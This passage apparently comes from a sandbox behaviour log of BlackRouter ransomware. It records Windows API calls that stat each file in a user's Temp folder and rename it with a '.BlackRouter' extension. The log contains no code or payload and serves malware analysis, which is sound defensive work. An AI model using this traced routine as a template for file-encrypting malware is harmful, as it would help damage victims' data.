ftCreationTime.dwHighDateTime=0x1d46363, ftLastAccessTime.dwLowDateTime=0xfbb90640, ftLastAccessTime.dwHighDateTime=0x1d457ae, ftLastWriteTime.dwLowDateTime=0xd26b0230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14b50)) returned 1 [0073.663] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Z_xhc-Mir1leZDgRqe2i.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\z_xhc-mir1lezdgrqe2i.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Z_xhc-Mir1leZDgRqe2i.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\z_xhc-mir1lezdgrqe2i.swf.blackrouter")) returned 1 [0073.664] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x7054 [0073.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\k71 Sm0bs7kgcRQ3h-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\k71 sm0bs7kgcrq3h-.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf19860, ftCreationTime.dwHighDateTime=0x1d46590, ftLastAccessTime.dwLowDateTime=0x827aff0, ftLastAccessTime.dwHighDateTime=0x1d45e6a, ftLastWriteTime.dwLowDateTime=0xd26b0230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7060)) returned 1 [0073.668] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\k71 Sm0bs7kgcRQ3h-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\k71 sm0bs7kgcrq3h-.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\k71 Sm0bs7kgcRQ3h-.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\k71 sm0bs7kgcrq3h-.mp4.blackrouter")) returned 1 [0073.669] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xa443 [0073.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\v0UCygN-zoFvQiWOglj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\v0ucygn-zofvqiwoglj.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1181130, ftCreationTime.dwHighDateTime=0x1d45ed0, ftLastAccessTime.dwLowDateTime=0x4dfd97f0, ftLastAccessTime.dwHighDateTime=0x1d4619a, ftLastWriteTime.dwLowDateTime=0xd26d6390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa450)) returned 1 [0073.673] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\v0UCygN-zoFvQiWOglj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\v0ucygn-zofvqiwoglj.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\v0UCygN-zoFvQiWOglj.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\v0ucygn-zofvqiwoglj.mp4.blackrouter")) returned 1 [0073.674] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x7aeb [0073.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BBbBV7m5gOIzpddIH mt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bbbbv7m5goizpddih mt.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x991ea450, ftCreationTime.dwHighDateTime=0x1d4598d, ftLastAccessTime.dwLowDateTime=0xd07f9d90, ftLastAccessTime.dwHighDateTime=0x1d4597f, ftLastWriteTime.dwLowDateTime=0xd26d6390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7af0)) returned 1 [0073.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BBbBV7m5gOIzpddIH mt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bbbbv7m5goizpddih mt.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BBbBV7m5gOIzpddIH mt.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bbbbv7m5goizpddih mt.mkv.blackrouter")) returned 1 [0073.679] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1c9c [0073.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xxZ43 G86pK H0loni.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xxz43 g86pk h0loni.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2594ed40, ftCreationTime.dwHighDateTime=0x1d464f1, ftLastAccessTime.dwLowDateTime=0xa10d0be0, ftLastAccessTime.dwHighDateTime=0x1d460de, ftLastWriteTime.dwLowDateTime=0xd26d6390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0)) returned 1 [0073.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xxZ43 G86pK H0loni.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xxz43 g86pk h0loni.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xxZ43 G86pK H0loni.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xxz43 g86pk h0loni.mkv.blackrouter")) returned 1 [0073.682] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x18505 [0073.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AR8zmpgRkHb8qMa_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ar8zmpgrkhb8qma_0.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2d90810, ftCreationTime.dwHighDateTime=0x1d45e19, ftLastAccessTime.dwLowDateTime=0x9a3009c0, ftLastAccessTime.dwHighDateTime=0x1d460df, ftLastWriteTime.dwLowDateTime=0xd26fc4f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18510)) returned 1 [0073.689] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AR8zmpgRkHb8qMa_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ar8zmpgrkhb8qma_0.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AR8zmpgRkHb8qMa_0.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ar8zmpgrkhb8qma_0.flv.blackrouter")) returned 1 [0073.691] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x7640 [0073.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Gn6HnXi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gn6hnxi.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26c1daa0, ftCreationTime.dwHighDateTime=0x1d45e45, ftLastAccessTime.dwLowDateTime=0x800841d0, ftLastAccessTime.dwHighDateTime=0x1d45797, ftLastWriteTime.dwLowDateTime=0xd26fc4f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7650)) returned 1 [0073.695] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Gn6HnXi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gn6hnxi.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Gn6HnXi.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gn6hnxi.gif.blackrouter")) returned 1 [0073.696] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x4fbd [0073.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hvYpgBZcAwBIEkZ46j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hvypgbzcawbiekz46j.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9a1f75f0, ftCreationTime.dwHighDateTime=0x1d46527, ftLastAccessTime.dwLowDateTime=0x6e7c81e0, ftLastAccessTime.dwHighDateTime=0x1d456e5, ftLastWriteTime.dwLowDateTime=0xd26fc4f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4fc0)) returned 1 [0073.701] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hvYpgBZcAwBIEkZ46j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hvypgbzcawbiekz46j.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hvYpgBZcAwBIEkZ46j.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hvypgbzcawbiekz46j.gif.blackrouter")) returned 1 [0073.703] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x14f20 [0073.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Jg7HY2y6X-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\jg7hy2y6x-.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61164180, ftCreationTime.dwHighDateTime=0x1d459dd, ftLastAccessTime.dwLowDateTime=0x1fedc190, ftLastAccessTime.dwHighDateTime=0x1d46209, ftLastWriteTime.dwLowDateTime=0xd2722650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14f30)) returned 1 [0073.709] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Jg7HY2y6X-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\jg7hy2y6x-.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Jg7HY2y6X-.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\jg7hy2y6x-.gif.blackrouter")) returned 1 [0073.711] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x5494 [0073.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tJYodmBD-nXXIeG i.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjyodmbd-nxxieg i.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4803cc50, ftCreationTime.dwHighDateTime=0x1d45747, ftLastAccessTime.dwLowDateTime=0xd00e0e70, ftLastAccessTime.dwHighDateTime=0x1d46661, ftLastWriteTime.dwLowDateTime=0xd2722650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x54a0)) returned 1 [0073.715] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tJYodmBD-nXXIeG i.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjyodmbd-nxxieg i.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tJYodmBD-nXXIeG i.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjyodmbd-nxxieg i.gif.blackrouter")) returned 1 [0073.718] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x6020 [0073.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xHXC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xhxc.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x22fa8bb0, ftCreationTime.dwHighDateTime=0x1d456ed, ftLastAccessTime.dwLowDateTime=0x8652c160, ftLastAccessTime.dwHighDateTime=0x1d45ebc, ftLastWriteTime.dwLowDateTime=0xd27487b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6030)) returned 1 [0073.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xHXC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xhxc.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xHXC.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xhxc.gif.blackrouter")) returned 1 [0073.724] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x15598 [0073.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\L-lkz46Jj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\l-lkz46jj.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55f1a860, ftCreationTime.dwHighDateTime=0x1d45a93, ftLastAccessTime.dwLowDateTime=0x4e41adf0, ftLastAccessTime.dwHighDateTime=0x1d45867, ftLastWriteTime.dwLowDateTime=0xd276e910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x155a0)) returned 1 [0073.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\L-lkz46Jj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\l-lkz46jj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\L-lkz46Jj.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\l-lkz46jj.png.blackrouter")) returned 1 [0073.735] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xb019 [0073.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mBU4YsKzw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mbu4yskzw.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f888fb0, ftCreationTime.dwHighDateTime=0x1d4636c, ftLastAccessTime.dwLowDateTime=0x288d410, ftLastAccessTime.dwHighDateTime=0x1d46677, ftLastWriteTime.dwLowDateTime=0xd276e910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb020)) returned 1 [0073.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mBU4YsKzw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mbu4yskzw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mBU4YsKzw.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mbu4yskzw.png.blackrouter")) returned 1 [0073.742] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x13117 [0073.750] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3KOH4tnJRq 8D.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3koh4tnjrq 8d.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8a3810, ftCreationTime.dwHighDateTime=0x1d46554, ftLastAccessTime.dwLowDateTime=0xf86996e0, ftLastAccessTime.dwHighDateTime=0x1d45cc1, ftLastWriteTime.dwLowDateTime=0xd2794a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13120)) returned 1 [0073.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3KOH4tnJRq 8D.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3koh4tnjrq 8d.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3KOH4tnJRq 8D.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3koh4tnjrq 8d.bmp.blackrouter")) returned 1 [0073.751] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xbcef [0073.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FyzIJnu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fyzijnu.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9cf68e0, ftCreationTime.dwHighDateTime=0x1d456f0, ftLastAccessTime.dwLowDateTime=0xe6b56a80, ftLastAccessTime.dwHighDateTime=0x1d45a66, ftLastWriteTime.dwLowDateTime=0xd2794a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbcf0)) returned 1 [0073.757] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FyzIJnu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fyzijnu.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FyzIJnu.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fyzijnu.bmp.blackrouter")) returned 1 [0073.759] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x18bbd [0073.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\G3Na.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\g3na.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec25ced0, ftCreationTime.dwHighDateTime=0x1d457a8, ftLastAccessTime.dwLowDateTime=0x85362aa0, ftLastAccessTime.dwHighDateTime=0x1d4639a, ftLastWriteTime.dwLowDateTime=0xd27babd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18bc0)) returned 1 [0073.769] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\G3Na.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\g3na.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\G3Na.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\g3na.bmp.blackrouter")) returned 1 [0073.770] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x100fd [0073.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\M_XNV_q5R9kL-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\m_xnv_q5r9kl-.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf9b64cf0, ftCreationTime.dwHighDateTime=0x1d4659a, ftLastAccessTime.dwLowDateTime=0xc15ae9a0, ftLastAccessTime.dwHighDateTime=0x1d46230, ftLastWriteTime.dwLowDateTime=0xd27babd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10100)) returned 1 [0073.777] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\M_XNV_q5R9kL-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\m_xnv_q5r9kl-.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\M_XNV_q5R9kL-.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\m_xnv_q5r9kl-.jpg.blackrouter")) returned 1 [0073.786] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x8796 [0073.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hnvGLVSbvjXyAMJEw.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hnvglvsbvjxyamjew.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x104f4590, ftCreationTime.dwHighDateTime=0x1d45739, ftLastAccessTime.dwLowDateTime=0x3d023730, ftLastAccessTime.dwHighDateTime=0x1d4561e, ftLastWriteTime.dwLowDateTime=0xd27e0d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x87a0)) returned 1 [0073.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hnvGLVSbvjXyAMJEw.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hnvglvsbvjxyamjew.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hnvGLVSbvjXyAMJEw.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hnvglvsbvjxyamjew.pps.blackrouter")) returned 1 [0073.794] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xd3f [0073.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\USK0YRVUix.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usk0yrvuix.doc"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x924c7230, ftCreationTime.dwHighDateTime=0x1d45a3f, ftLastAccessTime.dwLowDateTime=0x8d391ab0, ftLastAccessTime.dwHighDateTime=0x1d4638f, ftLastWriteTime.dwLowDateTime=0xd2806e90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd40)) returned 1 [0073.797] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\USK0YRVUix.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usk0yrvuix.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\USK0YRVUix.doc.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usk0yrvuix.doc.blackrouter")) returned 1 [0073.799] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x2c3 [0073.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d0907e0, ftCreationTime.dwHighDateTime=0x1d46685, ftLastAccessTime.dwLowDateTime=0x4d0907e0, ftLastAccessTime.dwHighDateTime=0x1d46685, ftLastWriteTime.dwLowDateTime=0xd2806e90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0073.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log.blackrouter")) returned 1 [0073.963] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x10324 [0073.971] GetFileAttributesExW (in: 